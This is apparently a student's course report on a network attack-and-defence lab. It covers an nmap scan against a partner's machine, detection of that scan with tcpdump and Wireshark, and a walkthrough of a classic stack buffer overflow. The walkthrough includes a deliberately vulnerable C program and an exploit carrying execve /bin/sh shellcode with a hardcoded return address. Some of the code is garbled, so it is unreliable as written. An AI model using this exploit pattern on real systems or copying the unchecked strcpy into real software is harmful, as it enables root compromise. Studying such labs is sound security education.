• 20169217 2016-2017-2 《网络攻防实践》第十周学习总结


    实践报告

    和结对同学一起完成,分别作为攻击方和防守方,提交自己攻击和防守的截图

    1)攻击方用nmap扫描(给出特定目的的扫描命令)
    2)防守方用tcpdump嗅探,用Wireshark分析(保留Wireshark的抓包数据),分析出攻击方的扫描目
    的和nmap命令

    和赵京鸣一组,攻击机ip为222.28.132.218,靶机ip为222.28.132.98
    首先查看了靶机的ip,然后进行ping通


    靶机使用tcpdump嗅探,设置过滤条件,发现了攻击机的ip。


    攻击机使用nmap的不同参数对靶机进行端口扫描


    靶机使用Wireshark条件过滤攻击机发送的数据包,并进行分析

    缓冲区攻击的原理

    一. 缓冲区溢出的原理

      通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

    例如下面程序:

    复制代码
    void function(char *str) 
    
    {
    
     char buffer[16];
    
     strcpy(buffer,str);
    
     }
    复制代码


        上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

        当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。   缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

       shellcode编写

        Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就十分重要。 缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

    实验楼网络攻防课就有相关实验,我们就以实验楼上的shellcode为例进行实验。

    shellcode.c在Linux下生成一个shell

    复制代码
    #include <unistd.h>
    int main()
    {
            char *name[2];
            name[0] = "/bin/sh";
            name[1] = NULL;
            execve(name[0], name, NULL);
            _exit(0);
    }
    复制代码

        漏洞程序

        stack.c,保存到 /tmp 目录下

    复制代码
    /* stack.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    
     {
    
     char buffer[12];
    
    /* The following statement has a buffer overflow problem */
    
     strcpy(buffer, str);
    
    return 1; 
    
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
    ");
    return 1;
    }
    复制代码

    攻击程序

    exploit.c,保存到 /tmp 目录下

    复制代码
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    //获得一个shell
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    
    oid main(int argc, char **argv) { char buffer[517]; FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */ 
    
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    
     strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90
    
    x90x90x90x90x94xd0xffxff");// 地址为根据实验结果算出的。 
    
    strcpy(buffer+100,shellcode);
    
    /* Save the contents to the file "badfile" */
    
     badfile = fopen("./badfile", "w"); 
    
    fwrite(buffer, 517, 1, badfile);
    
     fclose(badfile); 
    
    }
    复制代码

        用以下命令得到shellcode在内存中的地址

        GDB disassemble可以反汇编一个函数。

        gdb stack

        disass main

    结果如图:

    编译exploit.c程序:

    gcc -m32 -o exploit exploit.c

    先运行攻击程序exploit,再运行漏洞程序stack。 用whoami命令验证一下自己现在的身份。

  • 相关阅读:
    媒体定律:马航失联客机取代昆明袭击
    讨论世界的意义是否存在
    神与信仰和人的意义
    读《人生哲思录》论“人”与“意义”
    如果人类世界灭亡 幸存者有多少资源
    stagewidth stage.width 区别
    flash的render延迟渲染
    【翻译】自定义 UIViewController Transitions
    [功能]点击ImageView进入页面,时间响应者链实现
    开学面试笔试总结
  • 原文地址:https://www.cnblogs.com/dkyliuhongyi/p/6802544.html
Copyright © 2020-2023  润新知